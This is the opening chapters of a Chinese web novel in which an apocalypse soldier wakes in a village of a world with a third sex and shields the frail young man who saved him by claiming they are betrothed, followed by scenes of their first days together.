《直男穿到异世养病弱夫郎》 1. 捉奸在床 “简直是不知廉耻...伤风败俗...” “孤男寡哥儿的...行此苟且...” “有损乡风...骚贱货...” “平日装得一副高洁烈玉,没成想骨子里是这么个腌臜玩意儿...” “就是说...真没想到...” 粗鄙不堪的谩骂声像过境的蚊虫在耳边嗡嗡。 凌锋意识混沌神思碎散,在末日屠杀丧尸的血腥画面与穿到这个世界的记忆混淆,来回拉扯得他脑仁一阵抽痛。 吵死了。 他眉宇紧蹙强撑着意志同梦魇进行了好一番抗争,终于掀开重坠眼皮醒了过来。 朦胧视野雾散渐明,含糊的议论也变得清晰。 本就不大的破茅屋里三层外三层乌泱泱围满了人,外头天色漆黑,这些人穿着粗布短褐脚蹬草鞋,全然一副古时农户乡民的装扮,有几个手里还攥着燃烧的火把。 整个空间堵塞拥挤,连带着空气都闷得浑浊。 这又是在搞什么。 凌锋彻底从似梦非梦中脱离,动动僵硬麻痹的四肢撑着上身坐起。 卧床数天,血液仿佛都凝固了,大爆炸震碎的内脏筋骨虽在以惊人的速度愈合,但到底没好全,动起来牵扯到脉络伤口疼得他倒抽了口凉气。 盖着的破棉被掉到腰上,男人那身鼓囊扎实的肌肉和健壮的臂膀毫不避讳暴露在大伙眼前。 肤呈麦色线条分明,力量蓬勃。 跟来看戏的都是些已结过亲的妇人郎君,饶是身经百战,瞧见这孔武有力的身子也止不住面热心痒。 “好你个下贱坯子!” 一个尖利的声音陡然拔高! 蜷在木床里侧的柳时雨下意识绷紧身体,屏住了呼吸。 凌锋黑眸一凛,低头,这才发现自己身边还窝着个人。 温软瘦小,像只遇到危险而害怕的刺猬似的缩成一团,脸也深埋了起来,只能看到那一头乌发下白皙纤细的后颈。 他知觉刚唤醒,况且这人的气息并不陌生... “当真是好不要脸啊!” 不等凌锋多思虑,那个的声音又接着呵斥:“咱们老柳家脸都被你这狐媚货给丢尽了,你可是个还未出嫁的小哥儿,大半夜关着门爬汉子床,你臊不臊得慌!咱们村几辈子都没出过你这种下作东西!” 说这话的是站在人群最前列的一名妇人,长得精算刻薄唾沫星子横飞,骂还不过瘾,撸起袖子伸手想扯拽柳时雨的头发。 凌锋一眼察出她动机,长臂一挥破被一拉,动作一气呵成将身侧这个瑟瑟发抖的家伙盖了个严实,连根头发丝儿都看不着了。 火光消失,道道如芒刺背的视线被尽数隔绝,就连耳边那些污言非议声也变小了。 蒙在黑暗下的柳时雨稍怔,揪紧的心和神经松懈了些许,默然将欲探出的脑袋又藏了回去。 他心头乱着,细细听着外头的动静,原本有些寒冷的身子回暖。 此人怎么在这时候清醒了,那自己准备的那番说辞岂不是... 凌锋方才那一下可没收力,那妇人痛呼了声,显然是没想到都遭捉奸在床了,这汉子还敢这么护着,捂着被挥疼的胳膊劈头盖脸地又是阵辱骂,一口一个下贱不要脸,恨得牙痒。 “刘桂花,差不多行了!你这话说得也太难听了!时雨好歹也是你侄哥儿,积点口德吧你!”另一听不下去的婶子帮着出声。 “咋的?他自个儿干出这见不得人的勾当,还怕人说啊!”刘桂花反倒更来劲儿了,双手叉腰嘴脸嚣张:“成日端着那副不近人情的架子,我还以为多守本分呢,合着全是装出来的!骨子里浪得很,专知道勾引汉子厮混,这事儿要是传出去祸害的可是咱们村的名声!往后谁还敢相看咱们村的姑娘哥儿?你们家禾哥儿同他走得近!当心被他牵连得也一辈子嫁不出去!” “你!” 刘桂花:“我什么我?!” “都给我住嘴!别吵了!” 为首的一位老者用力顿了顿手里的拐。 他胡须发白面容庄严,看起来是有几分威望,哄闹的人群霎时低了声。 刘桂花满心不服斜着白了眼凌锋身侧那团拱起的被子,骂出沫子的薄嘴皮像骆驼似得空嚼两下,又多补了两句风凉话。 “老族长,咱们这么多双眼睛看着呢,这事儿你可得好好给大伙一个交代。” “刘婶子说的对,是得好好处置!”几个年轻的跟着附和。 “要我说照过去的老规矩,出了这档子事,把他柳时雨浸猪笼沉塘都不为过!” 这些人七嘴八舌你一句我一句闹得凌锋心烦。 他阴沉的目光扫过那一张张恶意满盈的面孔。 什么汉子哥儿,两大老爷们躺一起至于这么大惊小怪。 在这之前他基本都是昏迷状态,半梦半醒,可再糊涂也分辨得出来躲在被窝里的这个,就是当初把他拖回来救他一命的小兄弟。 他穿来的这个世界貌似跟理解的古代有点不一样,但末日都见识过了,别的什么也不足为奇。 “废话那么多作甚?先把这小贱蹄子拖出来捆到祠堂去!”刘桂花又来了劲。 “刚吃了屎没刷牙吗嘴巴这么臭。”始终冷眼旁观的凌锋突地出声打断。 男人嗓音很低沉,还带着点太久未说话的磁哑。分明是漫不经心的语气,却给人种不怒自威的压迫感。 喧闹的屋子骤然一静,所有人都懵了,只剩火把噼啪的轻响。 这话是冲着刘桂花说的,她惊讶之后回过味儿来欲还嘴,可对上这汉子寒森森的视线,又莫名地生了畏意。 此人模样倒是生得俊,但那眸子那眼神就跟山里头茹毛饮血的豺狼野兽似得,凶煞得令人后背发凉,像是能将人生吞活剥了。 刘桂花脸色憋得涨红,虚张声势:“你还敢骂人?” 凌锋懒得多费口舌,略过这些乌合之众,看向那位所谓的族长:“我与我的未婚夫关起门过日子,你们这么多人大半夜闯到别人家里,还倒打一耙往我们头上扣帽子,到底是谁不要脸?是你们该给我们一个交代才对吧?” 听到未婚夫这三个字,人群窃窃私语起来,有些的神情从一开始笃定变成了拿不准的动摇。 “未婚夫?嘴瓢了罢。” “这汉子是指雨哥儿是他的未婚夫郎?” “他一个难生养的大龄哥儿拖着个病秧子小爹,配这么个无根无基的外来汉,倒也不奇怪。” 许是觉得人多势众壮了胆,刘桂花恶啐一口:“满嘴胡吣!他柳时雨何时定过亲?我可是他二婶我还能不知?再说就算是真的又如何?终归是还未成亲的,哪能滚到一张床上去!” 这哪像亲戚,仇人还差不多。领着一大帮子人来讨伐一个十来岁的小孩。 凌锋眸光冷硬,气势咄咄:“我们早就两情相悦,时雨的爹也为我们做过见证,就算你是二婶,也还轮不到你来过问他的亲事吧?” 凌锋听力敏锐,随机应变得也快,那些人都说他的这位小恩人爹是个病秧子,应该不至于这么丧心病狂,大半夜还把一个病人拖出来问真假。 “若不是前些日子我受了重伤昏迷在床,怕是这喜酒都请乡亲们喝上了,”他不再给对方继续找茬的机会,紧着又道:“大伙也看到了,这屋里就这么一张破床被子也薄,冬日夜冷我这又伤势未愈,时雨身为我的未婚夫郎,为了方便照顾我,我二人躺在一张床上取暖,单纯睡个觉,又有何不可?我们光明磊落,怎么就成了你口中的苟且了呢!” 男人字句清晰,从容不迫。语气从开始的还算和缓,到最后质问刘桂花的厉声愠怒。 吓得后者激灵了下,连带族长和其余众人也都在心中琢磨,这高大精壮的外来汉还当真是个不好拿捏的主。 “本想着等我的伤养好,便请媒人来提亲,”凌锋薄唇微微扬起个冷讽的弧度:“没成想诸位,反倒比我这准新郎官还要‘着急’。” 闷久了的柳时雨呼吸逐渐变得灼烫,眼眶也热得不像话。 他知自己心思卑劣,牵连无辜的人下水,可他也不过是为了自保,为了自己和爹爹能活下去罢了。 那些不堪入耳,辱人自尊的话他过去听过不计其数,本以为早就麻木不在乎,这回怎么心中反倒生出几分委屈来了。 他方才还紧张得不行,担心这男子会扛不住乡亲们和族长的压力,将他交出去。 没想到他会这般帮他。 那股有意算计的愧疚激增。 柳时雨十指紧攥,冷静压下,他闭上湿润氤氲的眸,无声喘息着换了口气。 无碍,他也救了他一命,不必良心不安。 他命短福薄,说不定用不了多久便撒手人世,定拖累不了他多少时日。 “真是可笑,还办喜酒,”刘桂花见说不过,只能硬着头皮阴阳怪气:“穷成这副模样,你哪来的银子办喜酒,大话张口就来,当真是不害臊。” 局面尽在掌控,凌锋没将她放在眼里,冷嗤声看向那位眉头紧锁故作深思的族长。 “今日之事,总该有个结论,”男人嗓音沉沉道:“世上从无凭空而起的是非,定是有人撺掇,或者说是你们合谋,存心设计陷害辱我二人清白。” 他说着针对方才吵得最凶的那两个,锐利的目光刺过去:“主谋是你?还是你?” “不不,我没有”责任分到个人,瞬间 变怂:“我只是跟来瞧瞧热闹。” “是啊,我也只是听到外头有人喊,才,才跟来的。” “我不管你们是道听途说,还是有意为之,”凌锋端着那副唬人的架子,继续:“你们今日不分青红皂白私闯民宅搬弄是非聚众滋事,污人名节清誉,还妄图动用私刑,按律当杖责。眼下我们家的门和门锁也坏了,再加上一则擅毁他人财物的罪,桩桩件件,该请里正或衙门的人来评评理,看官家会如何论处你们。” 一听牵扯到官府,所有人顿时就慌了,都怕了。 “与我无关,我是听柳老赖说的。” “我是听你嚷嚷的。” “分明是,是刘婶子招呼的...” 人群又骚乱起来,开始互相推卸责任。 “关我啥事!”刘桂花见有人提她,脸色一阵青一阵白,还想胡搅蛮缠:“我才不信,哪有那么严重,你一个外乡来的,在咱们村儿还能翻了天不成?!” “你说的没错,我不是你们族里人,”凌锋眯起黑眸,唇角勾起坏笑:“你们就更无权动我了,私事只能变公事。你们村民风刁悍这般凶恶,我们在自己家都不得安生,这要是传出去,才真叫令人不耻吧,族长,您觉得呢?” 众人一时都无话可说了。 凌锋冷下脸:“无论今日结果如何,我和时雨都会追究到底,绝不善罢甘休,等将那罪魁祸首揪出来,我定让他好看。” 村民们听他放了这狠话,纷纷见风使舵地站队。 “说得对,这歹人太坏了!拿乡亲们当枪使!” “我们也不会放过他!” “就是说,我就说人家雨哥儿可不像是那样的人,我就说其中有误会吧。” 就在这时,门框边一个身高矮小贼眉鼠眼,浑身邋遢油腻的老汉眼珠子心虚得滴溜转,悄没声儿地扭头跑了。 动静再小,凌锋也转瞬觉察到不对劲,黑眸盯着那个方向溢出几分狠厉。 “此事确实是我和乡亲们没弄清楚,”族长清了清嗓子,充当和事佬:“但多一事不如少一事,闹大了,到时官家真掺和一脚,我们大家都没好果子吃。既你同雨哥儿已跟家中长辈定了亲,那便限你三天时间,到族里走流程下聘写婚书,早些把这事儿处理好,省得到时又闹出什么别的乌龙来。”他语罢,拄着拐转身,“大伙今日就散了罢。” “慢着。”凌锋淡然道。 族长不悦回头看向他,其余人更是一惊。 “族长,你们大半夜兴师动众闹这一出就这么走了?”凌锋轻扬了下眉头:“我们家这门现在关也关不严,栓也栓不了,不给我们赔些修补的银子,说不过去吧?” “你,”族长一噎:“等你明日来写婚书,一并在公家处理。” “那不行,万一您到时候贵人多忘事,我和时雨上哪说理去。” 瞧着这汉子没脸没皮的姿态,族长险些气得吹胡子瞪眼,这么多双眼看着,碍于脸面也不想再多纠缠,当着众人面愣是从自个儿兜里掏出了二钱银子,先给垫上。 “够了吗。” “多谢族长。”凌锋利落接过,露出个不达眼底的微笑。 现在这一穷二白,能讹点是点。 临了,在所有人一并往外走时,他又随手捏起床边地上一粒石子,指尖轻捻,腕间稍一发力,石子便带着劲风疾射而出。 只听刚走出屋门的刘桂花‘哎哟’声惨叫,右膝一弯重重倒向地面摔了个狗吃屎,吃了一嘴的土灰。 “呸!呸!个杀千刀的!”她骂骂咧咧爬起来,借着月光看了眼地面。 所有人影消失不见,各回各家,世界突然安静,只听得见外头的风声。 凌锋视线落到身侧鼓起的这一团上,又别开了眼。 “他们走了。”他提醒。 藏在被子里的小哥儿像是愣了下,下秒猛地掀开,连滚带爬地钻出来越过男人下了床。 这慌张又佯装镇定的身影,莫名透着几分孩子气的可爱。 凌锋气定神闲看着,目光刚要收回,却在人转身的刹那,散漠的黑眸直勾勾定住了。 眼前人长了张可以说是雌雄莫辨的脸,清冷疏淡,貌若观音。 许是被闷久了,冷白的肌肤染上点薄红,几根细软的发丝黏在脸颊,淡粉色的嘴唇微张细喘着呼吸,配着清瘦的身躯和起伏的胸脯,给人一种随时会香消玉殒的孱弱。 一双柔润漂亮的丹凤眼,鼻头却是那种小巧圆润的翘,眉心还有一颗小小的红痣,不是很艳,添了几分恰到好处的媚,中和了那股冷感的气质变得更加清丽出尘。 他奶奶的,一个男的长成这样? 凌锋不禁在心里头骂了句脏话。 2. 挟恩图报 柳时雨本就身子骨弱,是打胎里带出来的先天不足,常年到这冬日换季的时候,便易胸闷气短,肺虚不畅。 方才强忍着憋了那么好会儿,现下好不容易喘匀了捂住心口又是阵咳。 “咳咳..”小哥儿眼尾飞绯,长睫沁出惹人怜的泪花。 凌锋被这动静唤回了神,眉头轻皱一抹嫌稍瞬即逝。 啧,那词叫什么来着,扶风弱柳。 就这小子薄薄一片的身段,这体格,搁过去扔他们新兵训练营,不出半天就能厥过去享福。 柳时雨肋腔钝痛,待喉头的痒意消散,才直起略弓的腰背对上男人那道晦暗如深的视线。 他本能地警惕,亦有些忐忑无措。 虽然他替他治伤,他们朝夕相处了这么多天,但对方大多是昏迷的,纵使醒来小会也是在犯迷糊,同现在这般清醒面对的感觉全然不同。 他的眼神,不像村中其他人那样色眯眯或者不怀好意,是过于的正大光明,坦坦荡荡。 好似在考量盘算些什么。 到底也是个身强力壮的汉子,他一个小哥儿被他直勾勾盯着瞧,还是会觉得脸热冒犯。 夜深人静,气氛显得古怪异常。 柳时雨唇瓣翕张,刚想就方才的事道声谢谢,凌锋却先开了腔。 “利用我利用得倒挺顺手,不该给个解释?” 男人的语气未有起伏,不咸不淡,但柳时雨还是从中听出了秋后算账的意思。 被当场戳穿的难堪涌上心头,他面上的血色褪去,纤白的指攥紧了袖沿。 “你对待救命恩人,也不该是这般态度吧。”小哥儿挺直脊梁,努力让自己看起来不好惹一点,不露出分毫的失态。 凌锋眉宇微动,燃起点兴致,这小子表面看着弱不禁风,没想到是个带刺的还挺犟。 躲他被里的时候分明怕得发抖,现在倒支棱起来了,一副高冷清傲的样子。 “我刚才不是也救了你一命,”凌锋倚着土墙坐姿懒散,似笑非笑看着人:“你这做法,算不算叫挟恩图报?” 这四个字让柳时雨心里那股本就摇摇欲坠的体面轰然倒塌,他漂亮的眉头皱了皱,嘴唇轻颤着用力抿了下后,陡然泄了全部心气。 挟恩图报,他确实是这么做的,他是爬他床干了件不要脸的事。 小人就小人吧,他才不要做一个连自己命都护不住的君子。 爹爹老实父亲愚孝。 父亲是家中老大,爷奶偏心好吃懒做的二叔三叔一家,家里种地出力的活几乎全都是父亲一人包揽,理由就说这是他作为大哥应该做的。 泥腿子庄稼汉常年土里刨食,农忙不分昼夜躬身耕田,好不容易农闲了,他们又要父亲四处奔波打短工干活计。 挣来的银子还总有各种由头先将好处落在二叔三叔身上。 小爹怀他那会非但没吃到一口好东西,直到临盆都在被磋磨劳碌,生产时更因此伤了根本,常年病痛缠身。 而他也因是个体弱多病的小哥儿,出生起就不受爷奶待见,说他是个赔钱货。 日子清贫,但双亲健在,他便从未觉得苦。 可在他七岁那年,一个噩耗让他和小爹塌了天,父亲毫无征兆猝然倒下。 大夫说他是无休止的操劳,积劳成疾,气血耗损一空,把命给熬干了熬垮了。 父亲离世不过三天,二叔三叔便吵着让爷奶同他们分了家,将他们扫地出门,原本该属于他们的田地银钱连同父亲留给他的遗产一分都没给到他们手上,全被那一家子霸占了去。 他们孤儿寡爹无依无靠,就算被这般往死里欺负也一点办法都没有。 族长也只能做主在村里分了间无主的破屋子给他们,让他们有个遮风挡雨的地。 小爹本就性子懦弱,父亲突然没了对他的打击更是大,搬到这破屋的当晚便一病不起。 年纪尚小的他想去请大夫,可身无分文,在爷奶屋前的雪地里跪了一夜哭着求他们给点银子给小爹治病。 后来还是一位同父亲素来交好的伯伯将昏倒在那的他捡了回去,还帮他叫了村里的老郎中去为小爹诊治。 老郎中是个极好的人,只收了诊费没收他药钱,也成了他学药采药辨药和识字的师父。 每回上山他都会带着他去,明面上说是他年纪大了,让他给他当免费劳力,给他晒草药,替他背背篓代替药钱。 但其实他知道,他是在教他本事,也是靠着这本事他才能勉强让自己和小爹过活。 他小爹的身体也全靠他自己采摘炮制的草药吊着。 后来村里不知从何时开始传他的闲话,说他天煞孤星,克死了父亲,也克得小爹半死不活下不来地。 他知道,这些都是爷奶和二叔三叔他们一家子,怕被村里人戳脊梁骨故意散播的罢了,给他安上个克亲的名号,把他们干的那些丧尽天良的事变成情理之中。 他是个没人能帮着撑腰的小哥儿,受尽委屈挨了欺负,也只能自己扛着,连哭的资格都没有。 自此他便让自己看起来不好招惹一点,再不好惹一点,再慌再怕也不能露丁点的怯。 除了真心待他好的,村里其他人都觉得他终日冷着脸是个光脚不怕穿鞋的主,更多也是怕沾上他身上的‘晦气’,极少同他往来。 后来他慢慢长大,本就出挑的容貌日益生得越发标志招人。 那些人看不起归看不起他,聊到他这张脸无一不说十里八乡再找不出一个比他更好看,生得更惊艳的。 可这样的绝色皮囊,放在他这样的人身上,却是个致命的祸害。 他拿出拼命的架势笨拙艰难地保护自己,背篓枕下终日备着镰刀。 夜不出门,上山采药也尽量不单独去。 他知道乡里头对他有起心思的人不少,但也不过仅限于那点色心罢了。 他有克亲的名声,又体弱多病孕痣黯淡难生养,家里穷得吃了上顿没下顿,还有个缠绵病榻的寡亲。 没哪个好人家会想不开同他这样的人扯上关系,更别说娶他接下这个‘烂摊子’。 他也因此成了十里八乡出了名的嫁不出去的大龄哥儿。 直到有一天,村头那个好赌成瘾品行龌龊的老光棍柳老赖把主意打到了他身上。 色胆包天,险些把他拖进苞米地里强迫他不成,竟然还想半夜爬到他炕上,以生米煮成熟饭又叫乡亲们来捉奸的由头逼他就范。 他还无意中听到了这畜生和人牙子说的话。 说他这样的姿色,等他得手娶了,以后便叫他暗地里去接客供人玩,赚钱供他吃喝嫖赌。 他当时人都吓愣了,脑中更是一片空白,平日那点聪明劲一点都使不上了。 他终日提心吊胆,也知道就算这遭躲过去,那人也不定会善罢甘休,总有一天不是落在他手里就是落在别人手里。 有个人做挡箭牌总比一直被人盯着强。 也是因这走投无路,他才对自己捡回来的男子动了那样不堪的心思。 而且马上寒冬莅临,家里需要一个壮劳力。 他本就体力弱,小爹身体更是一天不如一天,等到时大雪封山,烧火用的柴火不够,他们父子两可能连这个冬天都熬不过去。 倒是有柴火炭火卖,可他们这样的人家,又哪里买得起,连吃食都快没了。 他就这 样带着几分私心和几分慌不择路,在发现撬锁的动静时,钻进了这男子的怀里。 情急之下,他想只能走一步看一步。 比起被逼受辱,他宁愿赌一把抓住这根救命稻草。 反正这个人昏迷不醒,说什么还不都由着他来。就算他对他无心,日后要离开,也比现下让那个畜生得逞的强。 唯一令他怎么都没预料到的是,此人,竟刚好在这时候醒了! 他当时紧张得心跳都好似停了。 幸得老天眷顾,他赌对了他的人品,他竟然选择帮他,还那样厉害三言两语就把乡亲们和族长打发了。 柳时雨言简意赅大致解释了下,没有卖惨更无需男人多理解他境遇,他要个说法,那便给他罢了。 本就是他算计利用他在先,他现在同他不高兴,也正常。 “事情就是这样,”小哥儿面容保持着清冷:“你养伤的这些时日,也吃了我家不少口粮,废了我不少药材,我不是大圣人,你伤好了,我图些回报,又有何错。而且,” 他顿了下,努力稳住那颗道德羞耻的心说:“就定亲这事而言,我是个哥儿,你是个汉子,你也吃不了什么亏。” 凌锋黑眸深邃又盯着人那张小而精致的漂亮脸蛋看了几息。 真是清绝脱俗,他也没搞错,这声音和特征确实是个男的。 什么汉子哥儿的... 凌锋存了点蔫坏的心思,刻意在人又快被他盯得淡定不下去时才搭腔:“嗯,你放心,我这一命不会让你白救。” 他这话说得云淡风轻,柳时雨一时未反应过来,本以为他还会说些让他发难的话,心里的意外和惊讶一不小心便展露在了脸上。 “啊..嗯。”他又迅速恢复冷静。 凌锋唇角无声挑了挑,他在末世那么多年,什么人看不穿,什么样的人心险恶没见过。 对快奔三的他来说这分明就是个在逞强的小孩,一只被迫披上老虎皮的小犊子。 刚成年才十来岁,在他们过去正是读书玩闹,在父母膝下撒娇任性的年纪。 在这古代却成了个嫁不出去的大龄了。 还被那么多人指指点点,用流言蜚语这把杀人无形的刀往死里逼。 “你好生休息。”柳时雨看不出男人有何居心,有些不好意思再同他多说多对视,丢下这么句便打算出去。 经过门边时他又定住脚步,短暂犹豫了下,硬是使出吃奶的劲儿将那坏了的门板堪堪掩上。 凌锋敏锐捕捉到小哥儿那一闪而过的窘迫,门缝外的身影消失,却又随风飘进阵压抑隐忍的闷咳。 他收回视线,动动刚恢复的身体,这才注意到自己身上的衣服居然这么小号,只能敞着披,粗制布料洗的发白还有不少补丁,但非常整洁干净,还有股很淡的草药味儿。 跟那小孩儿身上的味道一样。 凌锋仰面躺下,看看这破旧屋梁和夯土泥墙愁绪万千。 他本该是死了的,没想到天道不亡他,这地方没有丧尸,他也不用再拼死拼活,可以好好过过有安心觉睡的日子。 就是吧,这条件... 凌锋尝试着翻了个身,这破床咯吱咯吱地响,他半截小腿还露在外头,对他来说也有点太短了,他是怎么在这上面躺了快半个月的。 看来他得想想办法挣钱了,在末世根本不用操心这些,都是以物换物,基地也什么都有。 不然就直接去抢,没有什么律法秩序可言。 现在要老老实实靠劳动,还真是有点不习惯。 凌锋又翻了个身。 “咔嚓”木板裂开的声音清晰入耳。 靠... 3. 小猫进食 翌日一早,天光渐亮。 村庄在零星细碎的鸡鸣鸟叫声中苏醒。 柳时雨轻着手脚穿好衣裳,利落拾掇好自己,未扰到床上熟睡的小爹,悄没声儿出了屋。 裹着晨湿的凉风扑面,灌入嗓子眼儿,他没禁住打了个哆嗦,虚弱地咳喘着往棚下的土灶去。 经过男人屋前时,柳时雨下意识瞥上一眼,竟发现昨夜还歪斜垮坠的木门不知何时给修好了。 他止步平复咳喘,迟疑了下,转了方向上前。 门是掩着的,未关严。 透过缝儿也未瞧见人影。 柳时雨轻轻将门推开,一面意外其稳固的匠艺,一面遭这人走屋空的画面乱了心神。 这原本是他住的地儿,半月前他上山采药,在一棵参天巨树前遇到了身负重伤的凌锋。 将他捡回来后便将这屋空出来给他养伤,他则搬去同小爹睡一间。 此屋逼仄,不大的地儿角落还堆了些许杂物。 现下除了这门,他还眼尖地注意到那张破旧的木床,竟也被加固了一番,床尾还用不知从哪寻来的陈料加长了一截。 许是昨夜劳神伤胆,安了心便睡得沉,今早才一点声儿都没听到。 柳时雨把门重新关好,四处张望下。 他是伤好了,便不辞而别了吗... 这想法刚冒头,突然听到屋后传来阵动静。 柳时雨立马寻过去,就见男人光着膀子站在一堆砍好的木柴前,鼓弄手头一个状似弓箭的物件。 他高大健硕,满身精壮的肌肉,一看便是实打实历练出来的,跟村里那些庄稼汉常年劳作出来的不太相同。 他比他们更加挺拔,样貌生得也更加端正英俊。 那宽肩阔背上留有数道初愈狰狞的伤痕,反而给他更添了几分强悍。 师父说医者只分病痛,不拘虚礼。 他为他治伤上药时见过无数次他的身子,次次都能做到淡然处之。 可现下,没法再面不红心不跳地多瞧上几分,没法忽视。 “起了?”凌锋余光瞥到人的身影,扭头挑了挑眉打招呼:“这些柴我都劈了,你看还有什么体力活需要我干的。” 他天蒙蒙亮就起了,躺了那么久早躺烦了,早就想好好活动活动筋骨。 打了一套格斗拳又做了番操练,没活找活干,幸好他这一身力量没消失也没白费,稍微热了热身状态就找回了不少。 这地方对他来说简直算是个世外桃源,空气清新含氧浓度高,一整个神清气爽。 不像末日那会,到处都是尸臭和各种垃圾堆积的沤味。 柳时雨清亮的眸同男人对视一瞬,便飘开了。 “没,”他别扭小声道:“你怎的不穿衣裳,现下是初冬,你这样,一会儿该着了风寒,还是穿上好。” 凌锋向来体火旺,刚一通折腾出了不少汗,他本就不怕冷。 他过去当雇佣兵那会,寒冬腊月在冰湖里游泳都是常有的事,别说初冬,就是凛冬来了他也没在怕的。 再说... 凌锋勾唇笑笑,走到人跟前微俯身:“我不冷,就你这小身板的衣裳,给我就是遮住前面挡不住后面,穿与不穿不都一样。” 好在他们这古人裤子都做得肥大,勉强能当个七分的套上,不至于裸奔遛鸟。 柳时雨被男人突如其来的靠近和这话逗得木了数秒,脸颊微微发烫。 他跟禾哥儿的哥哥借了身来着,可他醒得突然,昨日又发生了好些事,他便把这茬给忘了。 “有别的,”柳时雨稳住那点儿乱:“我去拿给你。” 说完转身便走。 凌锋看着人匆匆离去的背影,若有所思。 这小孩儿刚才的语气和表情倒是跟之前一样,冷静淡定,可那耳朵尖的红就没下去过,更是连正眼都不敢往他身上放。 这是在害羞? 脸皮这么薄? 就因为他光膀子? 两男的,都一根棍子两个圈的,这有什么不好意思的。 柳时雨将衣服拿给凌锋,没多说什么,去了土灶前做朝饭。 他们家口粮剩得不多,日子过得紧吧,往日都是吃些野菜糊糊。 考虑到伤员初愈,总算能自己吃些硬物,柳时雨思忖番,多拿了些粗面出来烙了几张饼,还煮了两颗鸡蛋。 土灶里柴火烧响,炊烟混着食物的香气钻进了鼻里。 凌锋老实套上那件勉强能穿的衣裳,把屋后他劈好的那些柴搬到前头来垒好。 干完这些他闲着也是闲着,抱着胳膊倚在墙边看柳时雨忙活。 少年和面揉面的动作麻利得很,一看就是多年自己当家吃苦练出来的。 长得一张不食人间烟火的脸,却要在这人间疾苦里挣扎。 “我方才见你屋里的门修好了,”柳时雨给锅里添了点水,带着几分打探的心思搭话:“是你自己弄的?” 凌锋拉回思绪,淡淡嗯声。 在过去上到修军械设备,下到阻隔丧尸的栅栏围墙各路机关,他都得心应手。 这点对他来说就是小儿科。 “那方才在后面,你手里拿的那把弓,也是你做的?”柳时雨又问。 “是,那个简单,用了你一点材料,应该不收费吧。”凌锋玩笑。 “无碍,不收的,你有需要直接拿便是。”反正这些东西他也不怎么用得上。 柳时雨想想又问:“你以前,是个猎户?你会打猎?” 凌锋稍顿,顺手拿起一旁的食盘递过去给人装饼子:“算是吧,会点。”他回答。 猎丧尸怎么不算猎呢。 柳时雨心中了然,点点头又没话可说了。但这回倒是放松了些,没了之前共处的不自在。 过去许多年,他干什么基本都是自己一个人,没人同他说话,现在有个人在旁边看着陪着,时不时能和他搭个腔,还挺新鲜,感觉也还不错。 他挺开心的。 他想着,漂亮的眸子瞥了眼一旁整齐垒起的柴火。 冷淡的唇角微不可查地动了动。 平日这些木柴,他自己一个人得好些时日才能磨出来,每日还会累得够呛。 大多时候他都是捡那些小的枝条烧。 家里多个人当真是轻松了不少。 食物做好,柳时雨先装了一张饼和一颗鸡蛋送给小爹,才回来自己吃。 他们拢共就这么两间屋子,没有专门吃饭的桌,一般都是直接在灶前对付一口。 凌锋看看自己碗里的两张饼和一颗蛋,抬眸又望向自己对面这个,就捏了半张饼小口小口跟猫儿进食似的少年,心情有些复杂。 他本来以为三个人煮两个蛋,吃不上的那个人会是他,没想到这小子这么实诚。 难怪瘦弱成这样。 看样子不是病的,是纯饿的,这舍不得那舍不得,正是长身体的年纪吃这么丁点,体力能跟得上才怪。 就这卡路里,一天啥都不干也不够维持的,更别说这家伙还要照顾人还要干活养家。 凌锋把鸡蛋壳剥了:“拿去。” 柳时雨看着眼前这只大手愣了愣,把嘴巴里的饼咽下去没接。 “我不用,你有伤,给你补身子的。” 到底 是谁需要补,就他这壮的,真要补这点也不够他塞牙缝。 “那就一人一半。”凌锋收回手把蛋掰开,懒得多废话:“不然都别吃。” 他说完一双深邃的黑眸定定对上人那清亮的眼。 如他所料,态度强硬些才有用。 小哥儿乖乖接过,他顺手将那另一半扔进嘴里秒下肚。 柳时雨迟疑了下才送到唇边咬了口,家里的鸡蛋都是给小爹养身子的,他几乎没怎么尝过。 穷苦人家养鸡下蛋也都是为了卖钱,基本都不舍得自己吃。 凌锋嚼着饼锁着眉,根本没关注到小哥儿偷偷瞄他的视线。 满脑子都是对对方斯文吃相的叹息。 不都说半大小子吃死老子,这小子半颗蛋都得分好几口。 他现在真有点馋肉了,过去半个月天天野菜面糊糊,连调味料都没有,嘴里都淡出鸟来了。 这个时代山上应该有不少野味吧。 不用担心会被病毒污染,也不用担心有丧尸出没的危险… . 吃过早饭,凌锋本着加快适应这个世界的想法跑去村子里转悠了一圈。 信息收获颇丰。 其中最值的,就是他终于弄明白了这些原住民口中所说的汉子和哥儿到底是什么意思。 这世界有三个性别,汉子,哥儿,和女子。 哥儿的外在结构跟汉子也就是男人几乎没有区别,相比较起来只是更加瘦小一些,更加小白脸一点。 并且哥儿从出生起身上会长有一个叫做孕痣的东西。 他们跟女子一样,可以怀孕,只是受孕率相较来说会低很多。 所以在这个封建的时代,哥儿的地位远不如汉子和女子,是最受压迫的存在。 凌锋回想了下,柳时雨的那颗孕痣,应该就是长在他眉心的那个。 照他们的说法,成亲嫁人对于哥儿,是人生最重要的事之一。 那他两定亲的那事岂不是没有回旋的余地了。 人家好歹救他一命,他不能不顾他的名声和死活。 族长当时说限他三天去写婚书提亲,如果是这样的话,不是得先备聘礼,不得准备得丰厚点风光点,不能稀里糊涂的。 只是他一钢铁直男,跟一个身体特征也是男的的人结婚,总感觉奇奇怪怪的。 好在本来就都是假的,双方都心知肚明,做给别人看而已,他也不是真要去当gay。 凌锋捋顺心中所想,脑子又转到了男人能怀孕这件事上,好奇但欣然接受。 就在他自诩开明正得意的时候。 他的正对面,迎面走过来一个挺着圆滚滚的大肚子,涂脂抹粉得跟人妖似的的大叔。 “......”凌锋宕机在原地。 沉默地闭上眼。 再睁开。 淦,不是幻觉。 他觉得自己有点瞎了。 余光一抹堪称清流且熟悉的身影,及时终止解救了凌锋的震撼。 不远处的河道边,柳时雨正蹲在那洗着满满一盆的褥单衣裳。 明亮天光下,青山绿水间。 他一头乌黑柔顺的长发用布带随意束在一侧,清冷精致的脸蛋越素越美,像一朵沾上雨露的百合,纯洁玉立。 真就有人天生这么会长,都营养不良了,那头头发也没有像草一样枯萎。 看着虽然没什么气血,却完美符合病美人这三个字。 凌锋心琢磨着,深沉的目光莫名地下移落到了小哥儿平坦的小腹上。 他也会,像刚才那个人一样。 有一天肚子大起来吗。 4. 都是兄弟 初冬的河水已有些冰凉刺骨,寒风再一阵吹更是透过皮肉往里钻。 柳时雨脸蛋鼻尖冷得发僵,纤长的指攥着床单浸泡在盆中不到片刻,便禁不住抬起对着哈几口白气,再重新伸进去搓洗。 